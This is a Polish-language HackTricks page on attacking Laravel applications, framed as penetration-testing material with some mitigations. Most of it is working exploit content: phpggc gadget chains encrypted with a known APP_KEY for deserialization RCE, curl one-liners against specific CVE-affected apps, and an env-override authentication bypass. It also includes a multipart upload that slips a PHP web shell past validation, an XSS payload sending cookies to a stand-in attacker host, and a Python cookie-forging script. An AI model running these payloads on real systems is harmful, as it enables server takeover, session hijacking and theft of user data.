Laravel

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Laravel SQLInjection

Przeczytaj o tym tutaj: https://stitcher.io/blog/unsafe-sql-functions-in-laravel


APP_KEY & Szczegóły szyfrowania (Laravel >=5.6)

Laravel używa AES-256-CBC (lub GCM) z integralnością HMAC (Illuminate\Encryption\Encrypter). Surowy szyfrogram, który ostatecznie wysyłany do klienta, to Base64 obiektu JSON takiego jak:

{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) domyślnie wykona serialize() na plaintext, natomiast decrypt($payload, $unserialize=true) automatycznie wykona unserialize() na odszyfrowanej wartości. W związku z tym każdy atakujący, który zna 32-bajtowy sekret APP_KEY, może skonstruować zaszyfrowany, zserializowany obiekt PHP i uzyskać RCE poprzez magiczne metody (__wakeup, __destruct, …).

Minimalny PoC (framework ≥9.x):

use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

Wstrzyknij wygenerowany ciąg do dowolnego podatnego sinka decrypt() (parametr trasy, cookie, sesja, …).


laravel-crypto-killer 🧨

laravel-crypto-killer automatyzuje cały proces i dodaje wygodny tryb bruteforce:

# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

Skrypt transparentnie obsługuje zarówno payloady CBC, jak i GCM oraz ponownie generuje pole HMAC/tag.


Realne wzorce podatności

ProjektWrażliwy sinkGadget chain
Invoice Ninja ≤v5 (CVE-2024-55555)/route/{hash}decrypt($hash)Laravel/RCE13
Snipe-IT ≤v6 (CVE-2024-48987)XSRF-TOKEN cookie when Passport::withCookieSerialization() is enabledLaravel/RCE9
Crater (CVE-2024-55556)SESSION_DRIVER=cookielaravel_session cookieLaravel/RCE15

Przebieg eksploatacji jest zawsze następujący:

  1. Uzyskaj lub przeprowadź brute-force na 32-bajtowym APP_KEY.
  2. Zbuduj gadget chain za pomocą PHPGGC (np. Laravel/RCE13, Laravel/RCE9 lub Laravel/RCE15).
  3. Zaszyfruj serializowany gadget za pomocą laravel_crypto_killer.py i odzyskanego APP_KEY.
  4. Dostarcz szyfrogram do wrażliwego decrypt() sinka (parametr trasy, cookie, sesja …), aby wywołać RCE.

Poniżej znajdują się zwięzłe one-linery demonstrujące pełną ścieżkę ataku dla każdego z wyżej wymienionych realnych CVE:

# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"

# Snipe-IT ≤6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login

# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login

Ponieważ każda świeża odpowiedź Laravel ustawia przynajmniej 1 zaszyfrowaną cookie (XSRF-TOKEN i zwykle laravel_session), public internet scanners (Shodan, Censys, …) leak miliony szyfrogramów, które można atakować offline.

Główne wnioski z badań opublikowanych przez Synacktiv (2024–2025):

  • Zestaw danych lipiec 2024 » 580 k tokenów, 3.99 % odszyfrowanych kluczy (≈23 k)
  • Zestaw danych maj 2025 » 625 k tokenów, 3.56 % odszyfrowanych kluczy
  • 1 000 serwerów nadal podatnych na legacy CVE-2018-15133 ponieważ tokeny bezpośrednio zawierają serializowane dane.

  • Ogromne ponowne użycie kluczy – Top-10 APP_KEYs to domyślne, hard-coded wartości dostarczane z komercyjnymi szablonami Laravel (UltimatePOS, Invoice Ninja, XPanel, …).

Prywatne narzędzie Go nounours osiąga wydajność brute-force AES-CBC/GCM ~1.5 miliarda prób/s, skracając łamanie całego zestawu danych do <2 minut.

CVE-2024-52301 – HTTP argv/env override → obejście uwierzytelniania

Gdy PHP ma register_argc_argv=On (typowe na wielu dystrybucjach), PHP udostępnia tablicę argv dla żądań HTTP wyprowadzoną z query string. Nowsze wersje Laravel parsowały te „CLI-like” args i honorowały --env=<value> w czasie wykonywania. To pozwala przełączyć środowisko frameworka dla bieżącego żądania HTTP tylko przez dodanie go do dowolnego URL:

  • Szybka kontrola:

  • Odwiedź https://target/?--env=local lub dowolny ciąg i sprawdź zmiany zależne od środowiska (banery debugowe, stopki, szczegółowe błędy). Jeśli ciąg jest odzwierciedlony, override działa.

  • Przykład wpływu (logika biznesowa polegająca na specjalnym env):

  • Jeśli aplikacja zawiera gałęzie typu if (app()->environment('preprod')) { /* bypass auth */ }, możesz się uwierzytelnić bez prawidłowych poświadczeń wysyłając login POST na:

  • POST /login?--env=preprod

  • Notatki:

  • Działa dla pojedynczego żądania, brak trwałości.

  • Wymaga register_argc_argv=On i podatnej wersji Laravel, która odczytuje argv dla HTTP.

  • Przydatny prymityw do ujawnienia bardziej szczegółowych błędów w „debug” envs lub wywołania ścieżek kodu zależnych od środowiska.

  • Środki zaradcze:

  • Wyłącz register_argc_argv dla PHP-FPM/Apache.

  • Zaktualizuj Laravel, aby ignorował argv w żądaniach HTTP i usuń wszelkie założenia ufności związane z app()->environment() w trasach produkcyjnych.

Minimalny przebieg eksploatacji (Burp):

POST /login?--env=preprod HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
...
email=a@b.c&password=whatever&remember=0xdf

CVE-2025-27515 – Omijanie walidacji plików z użyciem wieloznacznika (files.*)

Laravel 10.0–10.48.28, 11.0.0–11.44.0 i 12.0.0–12.1.0 pozwalają spreparowanym żądaniom multipart całkowicie pominąć dowolną regułę przypisaną do files.* / images.*. Parser rozszerzający klucze z wieloznacznikiem może zostać zdezorientowany przez kontrolowane przez atakującego placeholdery (na przykład wstępne wypełnienie segmentów __asterisk__), więc framework zmaterializuje obiekty UploadedFile bez uruchamiania reguł takich jak image, mimes, dimensions, max, itp. Po wgraniu złośliwego bloba do Storage::putFile* możesz przejść do dowolnej z metod przesyłania plików wymienionych w HackTricks (web shells, log poisoning, signed job deserialization, …).

Wykrywanie wzorca

  • Statycznie: rg -n "files\\.\*" -g"*.php" app/ lub przejrzyj klasy FormRequest w poszukiwaniu rules() zwracających tablice zawierające files.*.
  • Dynamicznie: zainstrumentuj Illuminate\Validation\Validator::validate() za pomocą Xdebug lub Laravel Telescope w środowisku przedprodukcyjnym, aby logować każde żądanie trafiające na podatną regułę.
  • Przegląd middleware/route: endpoints obsługujące wiele plików (importery avatarów, portale dokumentów, komponenty drag-n-drop) zwykle ufają files.*.

Praktyczny przebieg eksploatacji

  1. Przechwyć prawidłowe przesłanie i odtwórz je w Burp Repeater.
  2. Zduplikuj tę samą część, ale zmodyfikuj nazwę pola tak, by zawierała tokeny placeholderów (np. files[0][__asterisk__payload]) lub zagnieźdź kolejną tablicę (files[0][alt][0]). Na podatnych buildach ta druga część nigdy nie jest walidowana, ale nadal staje się wpisem UploadedFile.
  3. Wskaż spreparowany plik na payload PHP (shell.php, .phar, polyglot) i wymuś zapisanie go przez aplikację na dysku dostępnym z weba (zwykle public/ po włączeniu php artisan storage:link).
curl -sk https://target/upload \
-F 'files[0]=@ok.png;type=image/png' \
-F 'files[0][__asterisk__payload]=@shell.php;type=text/plain' \
-F 'description=lorem'

Keep fuzzing key names (files.__dot__0, files[0][0], files[0][uuid] …) until you find one that bypasses the validator but still gets written to disk; patched versions reject these crafted attribute names immediately.


Luki w pakietach ekosystemu warte łączenia (2025)

CVE-2025-47275 – Auth0-PHP CookieStore tag brute-force (affects auth0/laravel-auth0)

Jeśli projekt używa logowania Auth0 z domyślnym backendem CookieStore i auth0/auth0-php < 8.14.0, tag GCM na ciasteczku sesyjnym auth0 jest na tyle krótki, że można go brute-force’ować offline. Przechwyć cookie, zmień JSON payload (np. ustaw "sub":"auth0|admin" i app_metadata.roles), brute-force’uj tag i odtwórz cookie, aby uzyskać ważną sesję Laravel guard. Szybkie kontrole: composer.lock pokazuje auth0/auth0-php <8.14.0 oraz .env zawiera AUTH0_SESSION_STORAGE=cookie.

CVE-2025-48490 – lomkit/laravel-rest-api validation override

Pakiet lomkit/laravel-rest-api w wersjach przed 2.13.0 nieprawidłowo scala reguły per-action: późniejsze definicje nadpisują wcześniejsze dla tego samego atrybutu, pozwalając spreparowanym polom ominąć walidację (np. nadpisać reguły filter podczas akcji update), co prowadzi do mass assignment lub niezwalidowanych filtrów przypominających SQL. Praktyczne kontrole:

  • composer.lock wymienia lomkit/laravel-rest-api <2.13.0.
  • /_rest/users?filters[0][column]=password&filters[0][operator]== jest akceptowane zamiast odrzucone, co pokazuje, że walidacja filtrów została obejściа.

Triki Laravel

Tryb debugowania

If Laravel is in debugging mode you will be able to access the code and sensitive data.
For example http://127.0.0.1:8000/profiles:

To zwykle wymagane do eksploatacji innych Laravel RCE CVEs.

CVE-2024-13918 / CVE-2024-13919 – reflected XSS in Whoops debug pages

  • Dotyczy: Laravel 11.9.0–11.35.1 z APP_DEBUG=true (czy to globalnie, czy wymuszone przez źle skonfigurowane nadpisania env jak CVE-2024-52301).
  • Primitive: każde nieprzechwycone wyjątki renderowane przez Whoops echoują części żądania/trasy bez HTML encoding, więc wstrzyknięcie <img src> / <script> w trasę lub parametr żądania skutkuje stored-on-response XSS przed uwierzytelnieniem.
  • Impact: steal XSRF-TOKEN, leak stack traces with secrets, otworzyć pivot w przeglądarce by wywołać _ignition/execute-solution w sesjach ofiar, lub połączyć z dashboardami bez hasła opierającymi się na ciasteczkach.

Minimalny PoC:

// blade/web.php (attacker-controlled param reflected)
Route::get('/boom/{id}', function ($id) {
abort(500);
});
curl -sk "https://target/boom/%3Cscript%3Efetch('//attacker/x?c='+document.cookie)%3C/script%3E"

Nawet jeśli tryb debugowania jest zazwyczaj wyłączony, wymuszenie błędu przez zadania w tle lub procesy obsługujące kolejkę i sondowanie endpointu _ignition/health-check często ujawnia hosty stagingowe, które nadal eksponują ten łańcuch.

Fingerprinting & exposed dev endpoints

Szybkie kontrole w celu identyfikacji stosu Laravel i niebezpiecznych narzędzi developerskich ujawnionych na produkcji:

  • /_ignition/health-check → Ignition obecny (debug tool used by CVE-2021-3129). If reachable unauthenticated, the app may be in debug or misconfigured.
  • /_debugbar → Laravel Debugbar assets; często wskazuje na tryb debugowania.
  • /telescope → Laravel Telescope (dev monitor). If public, expect broad information disclosure and possible actions.
  • /horizon → Queue dashboard; ujawnianie wersji i czasami akcje chronione CSRF.
  • X-Powered-By, cookies XSRF-TOKEN and laravel_session, and Blade error pages also help fingerprint.
# Nuclei quick probe
nuclei -nt -u https://target -tags laravel -rl 30
# Manual spot checks
for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https://target/$p | head -n1; done

.env

Laravel zapisuje APP, którego używa do szyfrowania cookies i innych poświadczeń, w pliku o nazwie .env, do którego można uzyskać dostęp za pomocą path traversal pod: /../.env

Laravel pokaże także te informacje na stronie debug (która pojawia się, gdy Laravel napotka błąd i jest włączony).

Używając sekretnego APP_KEY Laravela możesz odszyfrować i ponownie zaszyfrować cookies:

Pomocnik do odszyfrowywania/szyfrowywania cookies (Python) ```python import os import json import hashlib import sys import hmac import base64 import string import requests from Crypto.Cipher import AES from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.decrypt(value)

def mcrypt_encrypt(value, iv): global key AES.key_size = [len(key)] crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv) return crypt_object.encrypt(value)

def decrypt(bstring): global key dic = json.loads(base64.b64decode(bstring).decode()) mac = dic[‘mac’] value = bytes(dic[‘value’], ‘utf-8’) iv = bytes(dic[‘iv’], ‘utf-8’) if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest(): return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv)) #return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode() return ‘’

def encrypt(string): global key iv = os.urandom(16) #string = dumps(string) padding = 16 - len(string) % 16 string += bytes(chr(padding) * padding, ‘utf-8’) value = base64.b64encode(mcrypt_encrypt(string, iv)) iv = base64.b64encode(iv) mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest() dic = {‘iv’: iv.decode(), ‘value’: value.decode(), ‘mac’: mac} return base64.b64encode(bytes(json.dumps(dic), ‘utf-8’))

app_key =‘HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k=’ key = base64.b64decode(app_key) decrypt(‘eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlxcL1JGY0t6YzhaaGNHR1duSktIdjF1elxcLzV4a3dUOElZVzMw aG01dGk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9’) #b’{“data”:“a:6:{s:6:"_token";s:40:"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV";s:8:"username";s:8:"guestc32";s:5:"order";s:2:"id";s:9:"direction";s:4:"desc";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}s:9:"_previous";a:1:{s:3:"url";s:38:"http:\/\/206.189.25.23:31031\/api\/configs";}}”,“expires”:1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e’ encrypt(b’{“data”:“a:6:{s:6:"_token";s:40:"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw";s:8:"username";s:8:"guest60e";s:5:"order";s:8:"lolololo";s:9:"direction";s:4:"desc";s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}s:9:"_previous";a:1:{s:3:"url";s:38:"http:\/\/206.189.25.23:31031\/api\/configs";}}”,“expires”:1605141157}’)

</details>

### Laravel Deserialization RCE

Podatne wersje: 5.5.40 oraz 5.6.x do 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))

Informacje o deserialization vulnerability znajdziesz tutaj: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)

Możesz ją przetestować i wykorzystać używając [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Lub możesz też wykorzystać ją za pomocą metasploit: `use unix/http/laravel_token_unserialize_exec`

### CVE-2021-3129

Kolejna deserialization: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)



## Referencje
* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
* [CVE-2024-52301 advisory – Laravel argv env detection](https://github.com/advisories/GHSA-gv7v-rgg6-548h)
* [CVE-2024-52301 PoC – register_argc_argv HTTP argv → --env override](https://github.com/Nyamort/CVE-2024-52301)
* [0xdf – HTB Environment (CVE‑2024‑52301 env override → auth bypass)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
* [GHSA-78fx-h6xr-vch4 – Laravel wildcard file validation bypass (CVE-2025-27515)](https://github.com/laravel/framework/security/advisories/GHSA-78fx-h6xr-vch4)
* [SBA Research – CVE-2024-13919 reflected XSS in debug-mode error page](http://www.openwall.com/lists/oss-security/2025/03/10/4)
* [CVE-2025-47275 – Auth0-PHP CookieStore tag brute-force (laravel-auth0)](https://www.wiz.io/vulnerability-database/cve/cve-2025-47275)
* [CVE-2025-48490 – lomkit/laravel-rest-api validation override](https://advisories.gitlab.com/pkg/composer/lomkit/laravel-rest-api/CVE-2025-48490/)


> [!TIP]
> Ucz się i ćwicz Hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Ucz się i ćwicz Hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Ucz się i ćwicz Hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Wsparcie dla HackTricks</summary>
>
> - Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
> - **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
>
> </details>